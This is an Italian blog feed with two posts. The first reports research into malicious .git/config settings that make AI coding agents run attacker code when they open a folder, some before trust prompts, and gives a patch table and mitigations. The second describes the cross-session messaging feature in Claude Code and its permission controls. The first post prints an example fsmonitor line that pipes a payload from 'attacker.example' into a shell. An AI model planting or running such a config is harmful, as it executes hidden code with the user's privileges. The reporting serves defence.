#claudecode

Il problema non è nel modello AI, ma nell’idraulica sotto di essoI ricercatori di Manifold Security hanno pubblicato a inizio settembre 2026 una ricerca chiamata GitSpawn che identifica una classe di vulnerabilità presente in sette diversi agenti AI per lo sviluppo software: Claude Code, #OpenAI Codex CLI, Cursor, goose, Hermes Agent, Qwen Code e Grok Build. In totale sono stati individuati otto difetti distinti, quattro dei quali ancora privi di #patch al momento della pubblicazione. Il dato che rende la scoperta rilevante non è tanto la quantità di strumenti coinvolti, quanto la sua causa: come sintetizzano gli stessi ricercatori, “la vulnerabilità non è nel modello, né in qualcosa di nuovo: è nell’ordinaria idraulica sottostante”. Il colpevole è una funzionalità Git vecchia di anni, pensata per le #performance, non per la sicurezza.

core.fsmonitor: da ottimizzazione a primitiva di code executioncore.fsmonitor è un’impostazione Git legittima, pensata per velocizzare comandi come git status su repository di grandi dimensioni: il suo valore può essere il percorso di un comando esterno che Git invoca per sapere quali file sono cambiati, evitando una scansione completa del filesystem. È una funzionalità comoda e ampiamente documentata, il cui rischio in ambito “solo umano” è mitigato dal fatto che un normale git clone non porta con sé la configurazione locale del repository sorgente: .git/config non viene propagato dal clone remoto, quindi un repository malevolo scaricato normalmente da #GitHub non può iniettare questa impostazione.

Il problema nasce quando un repository arriva sul filesystem non tramite clone, ma con la directory .git già intatta: un archivio ZIP scaricato ed estratto, una cartella condivisa via unità di rete, una chiavetta USB, un #backup ripristinato, un progetto trasferito via #cloud sync. In tutti questi casi .git/config arriva integro, comprese eventuali righe malevole come:

[core]
fsmonitor = "sh -c 'curl attacker.example/payload | sh'"Gli agenti AI da riga di comando eseguono di routine comandi Git in background non appena aprono una cartella di lavoro — tipicamente git status o git diff — per orientarsi sul branch corrente e sui file modificati, così da costruire il contesto del progetto prima ancora di interagire con l’utente. Proprio questa esecuzione automatica di comandi Git è ciò che innesca core.fsmonitor, ed è ciò che lo rende, esattamente, pericoloso: il comando configurato viene eseguito con i pieni privilegi dell’utente collegato, fuori dalla sandbox dell’agente, senza alcuna richiesta di conferma.

Perché il timing è la parte più insidiosaLa ricerca di Manifold Security evidenzia che, in diversi agenti, l’esecuzione avviene prima di qualunque barriera di sicurezza pensata per proteggere proprio da questo tipo di scenario:

prima del prompt di “trust del workspace” (Claude Code, Hermes Agent);

prima dell’autenticazione dell’utente (Qwen Code);

prima ancora del primo tasto premuto nell’interfaccia (Grok Build).

In altre parole, aprire semplicemente una cartella con un agente AI — anche solo per “dare un’occhiata” a un progetto ricevuto — può bastare a innescare l’esecuzione del payload, senza che l’utente abbia dato alcun consenso esplicito all’agente di operare su quel repository.

Non solo fsmonitor: hook e filtri come vettori paralleliOltre a core.fsmonitor, i ricercatori segnalano altre impostazioni Git sfruttabili con lo stesso schema: core.hooksPath, che permette di ridirigere Git verso una directory di hook arbitraria, e le direttive attr.tree con filtri clean/process, che possono eseguire comandi durante normali operazioni sui file tracciati. Nel caso di goose, ad esempio, il comando goose review disattivava selettivamente una singola opzione di configurazione pericolosa (-c core.quotePath=off) senza però filtrare le altre, lasciando comunque una superficie sfruttabile.

Stato delle patch (settembre 2026)AgenteVersioni coinvolteStatogoose< 1.44.0Patchato (CVE-2026-72718, CVSS 7.0)Codex CLI0.102.0 – 0.130.0Patchato in 0.131.0+ (CVE-2026-19592)Cursorvarie build CLIPatchatoClaude Code2.1.193+Parzialmente patchato in 2.1.196+ (CVE-2026-55607); una variante “ultrareview” risultava ancora presente in 2.1.258Hermes Agent0.18.2, 0.21.0Non patchato (CVE-2026-71963, vendor non responsivo)Qwen Code0.19.6, 0.22.3Non patchatoGrok Build0.2.93, 1.0.13Non patchatoAl momento della pubblicazione non risultano exploit documentati attivamente sfruttati in the wild, e nessun CVE della classe GitSpawn compare nel catalogo CISA KEV. Vale però la pena notare che scoperte indipendenti e parallele — da Sonar già ad aprile 2026 su Claude, e da OpenAI stessa il 2 settembre 2026 con l’assegnazione di tre CVE distinti su Codex — confermano che non si tratta di un caso isolato, ma di una debolezza sistemica nel modo in cui gli agenti CLI-based interagiscono con Git all’avvio.

Mitigazioni pratiche per sviluppatori e team DevOpsIn attesa che tutti i vendor completino le patch, alcune contromisure applicabili subito:

Disattivare globalmente core.fsmonitor se non lo usate attivamente, così che nessuna configurazione locale di un repository possa riattivarlo silenziosamente:
git config --global core.fsmonitor false

Verificare la presenza di configurazioni sospette prima di aprire un repository ricevuto per file (ZIP, USB, unità condivisa) con un agente AI:
git config --global --list | grep fsmonitor
git config --get core.fsmonitor
git config --get core.hooksPath

Ispezionare manualmente .git/config di ogni repository ricevuto in questo modo, cercando in particolare core.fsmonitor, core.hooksPath e blocchi attr.tree con filtri clean/process prima di aprirlo con qualunque strumento, non solo con un agente AI.

Preferire sempre il clone via URL remoto invece di scompattare archivi o copiare cartelle .git intatte da fonti non verificate: è la barriera più semplice ed efficace, perché .git/config del remoto non viene mai trasferito da un clone standard.

Aggiornare gli agenti CLI alle ultime versioni disponibili e monitorare gli advisory dei rispettivi vendor, dato che lo stato delle patch resta disomogeneo e in evoluzione.

Per i team che integrano questi agenti in pipeline CI/CD, eseguire i comandi Git di background con override esplicito, ad esempio git -c core.fsmonitor=false status, per ridurre la superficie indipendentemente dalla configurazione locale del repository.

Perché riguarda anche voi, se non usate ancora agenti AI per il codiceGitSpawn è un promemoria di un principio più generale: ogni volta che uno strumento — sia un IDE, un CI runner o un agente AI — esegue comandi Git “di cortesia” per raccogliere contesto, sta implicitamente fidandosi della configurazione locale di un repository che potrebbe non aver mai scelto di clonare. Con la crescente adozione di agenti AI capaci di eseguire comandi in autonomia sul filesystem locale, questa fiducia implicita diventa un vettore di attacco concreto, non solo teorico. Vale la pena rivedere, anche nei propri script di automazione e negli ambienti di sviluppo condivisi, quali strumenti eseguono comandi Git non richiesti esplicitamente dall’utente, e blindare quel percorso a prescindere dal CVE del giorno.

Fonte originale: The Hacker News – Malicious .git Configs Can Make Claude, Codex, Cursor, and Other AI Agents Run Attacker Code. Ricerca tecnica: Cyber Security News – GitSpawn Flaws Let Malicious Repositories Execute Code (Manifold Security).

Con la versione 2.1.224, rilasciata la prima settimana di agosto 2026, Claude Code introduce la messaggistica tra sessioni: due o più istanze del CLI, avviate in terminali diversi, possono ora scambiarsi messaggi di testo senza che sia l’utente a fare da tramite copiando e incollando contesto da un terminale all’altro. È una funzionalità pensata per chi lavora abitualmente con più sessioni parallele su worktree diversi dello stesso repository, e merita attenzione anche solo per capire come configurarla in modo sicuro in un contesto aziendale.

Il problema che risolveChi #usa Claude Code su progetti complessi finisce spesso per aprire più terminali: uno per il lavoro principale, uno per un hotfix urgente, uno per un refactoring in un worktree separato. Fino a v2.1.223 l’unico modo per far sapere a una sessione cosa stava succedendo in un’altra era manuale: copiare un riassunto, incollarlo, ripetere il contesto. La messaggistica cross-session automatizza esattamente questo passaggio.

Due strumenti nuovi: ListAgents e SendMessageClaude Code espone due tool interni che il modello usa autonomamente, senza che l’utente li invochi direttamente:

ListAgents individua le sessioni raggiungibili: subagent nella sessione corrente, altre sessioni locali sulla stessa macchina (incluse quelle in background) e sessioni remote se è attiva la Remote Control.

SendMessage consegna un messaggio di testo a una sessione specifica, identificata per nome.

Il messaggio non è mai la cronologia della conversazione né un file: è un testo che una Claude scrive per un’altra Claude. Per spostare davvero un intero contesto conversazionale tra terminali resta lo strumento giusto il resume di sessione, non la messaggistica.

Per vedere quali sessioni sono raggiungibili basta lanciare, in un terminale con Claude Code attivo:

/list-agentsIl comando elenca ogni sessione con il nome a cui risponde (derivato dalla cartella di lavoro, oppure impostato con /rename o il flag --name), utile per distinguere sessioni omonime che girano in directory diverse.

Come si usa in praticaNon si compone il messaggio a mano: si dice a Claude cosa si vuole che l’altra sessione sappia, ed è Claude a scrivere il riassunto effettivo. Due esempi di prompt tipici:

Chiedi alla sessione nell'altro terminale se la migrazione è terminataSpiega alla sessione che lavora sulle API di pagamento cosa abbiamo appena cambiatoNel secondo caso il contenuto esatto del messaggio varia: è Claude a decidere come riassumere il lavoro fatto. Quando il messaggio arriva, compare nella conversazione della sessione ricevente con il nome del mittente, e viene compattato in una riga Message from che si espande con Ctrl+O.

Dove viaggia il messaggioIl percorso dipende da dove gira la sessione di destinazione:

Stessa macchina: il messaggio passa attraverso un socket per-sessione, mai attraverso i server Anthropic. In questo caso sono possibili sia nuovi messaggi sia risposte.

Altra macchina dell’utente: il messaggio passa dai server Anthropic e arriva tramite la connessione Remote Control di quella macchina. Da qui è possibile solo rispondere, non avviare una conversazione.

Claude Code on the #web: stesso discorso, solo risposte.

Ogni sessione si registra su disco e apre un proprio “inbox socket”: due sessioni si trovano a vicenda solo se vedono lo stesso filesystem, il che significa che una sessione dentro un #container e una sull’host non possono raggiungersi, mentre due sessioni nello stesso container sì.

Controllo dei messaggi in arrivoPer un uso in ambienti con requisiti di governance, il parametro di configurazione rilevante è crossSessionInbound, impostabile su tre valori:

{
"crossSessionInbound": "accept"
}accept: ogni messaggio viene consegnato direttamente.

hold: Claude Code mostra un avviso ma non consegna nulla, finché l’utente non approva.

refuse: il messaggio viene scartato senza notifica al destinatario.

Quando non è impostato alcun valore, Claude Code decide messaggio per messaggio in base alla modalità di permessi delle due sessioni: se la sessione ricevente richiede conferma per i permessi, il messaggio viene consegnato; se la sessione ricevente salta le conferme (modalità bypassPermissions), il messaggio viene messo in attesa di approvazione, a meno che anche il mittente dichiari di essere in bypass.

Per richiedere sempre un’approvazione esplicita prima che un messaggio lasci la macchina locale, si può impostare:

{
"isolatePeerMachines": true
}Per disattivare del tutto la funzionalità a livello di organizzazione, nelle managed settings:

{
"permissions": {
"deny": ["SendMessage", "ListAgents"]
},
"crossSessionInbound": "refuse"
}Cosa una sessione remota non può fareUn messaggio in arrivo da un’altra sessione non equivale mai al consenso dell’utente: non può approvare un prompt di permesso in sospeso, non può modificare impostazioni di permessi o il file CLAUDE.md, ed eventuali comandi contenuti nel testo (ad esempio /compact) vengono trattati come testo normale, mai eseguiti. Se agire sul messaggio richiede un permesso che la sessione ricevente non ha, scatta comunque il prompt standard.

I limiti attualiLa limitazione più rilevante per chi lavora su #Windows: la messaggistica cross-session funziona su macOS e #Linux, inclusa una sessione Linux dentro WSL 2, ma non su Windows nativo. È inoltre assente su Amazon Bedrock, Claude Platform su #AWS, #Google #Cloud Agent Platform e Microsoft Foundry. Restano infine due limiti strutturali: i messaggi sono solo testo semplice (i protocolli strutturati degli agent team restano interni al team) e i loop di messaggi vengono limitati automaticamente, con un massimo di 50 messaggi accettati in attesa di lettura per sessione.

Quando ha senso usarlaLa documentazione ufficiale indica quattro casi d’uso principali: passare un finding da una sessione a un’altra dopo una scoperta rilevante, coordinare worktree paralleli sullo stesso repository, far riportare lo stato di un’operazione lunga (una migrazione, una suite di test) alla sessione che la sta monitorando, e rispondere a messaggi arrivati da sessioni su altre macchine o dal web. Per chi lavora già con più terminali aperti sullo stesso progetto, è una funzione che elimina una frizione reale, a patto di capire bene i default di crossSessionInbound prima di usarla in un ambiente con permessi sensibili.

Fonte: documentazione ufficiale Claude Code – Cross-session messaging.